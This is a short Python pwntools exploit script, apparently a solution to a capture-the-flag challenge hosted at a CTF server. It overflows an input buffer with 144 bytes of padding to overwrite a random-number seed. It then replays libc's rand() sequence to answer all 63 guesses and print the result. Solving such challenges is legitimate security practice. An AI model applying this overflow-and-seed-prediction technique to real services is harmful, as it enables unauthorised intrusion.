from pwn import *
from ctypes import CDLL

CHARSET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"
LENGTH = 63
SEED = 1

context.terminal = ['guake', '-n', 'guake', '-e']

p = remote("pwn.ingehack.ingeniums.club", 2002)
# p = process('./gusser')


libc = CDLL("libc.so.6")
libc.srand(SEED)


padding = b"A"*144
seed = p32(SEED)

p.recvuntil("introduce your self:")
p.sendline(padding+seed)

# gdb.attach(p, '''
#     break *0x00401312
#     break *0x00401328
# ''')


for i in range(LENGTH):
    rand = libc.rand()
    p.recvuntil("gusse it:")
    p.send(CHARSET[rand % LENGTH]+"\n")

print(p.recvall().decode())
p.close()
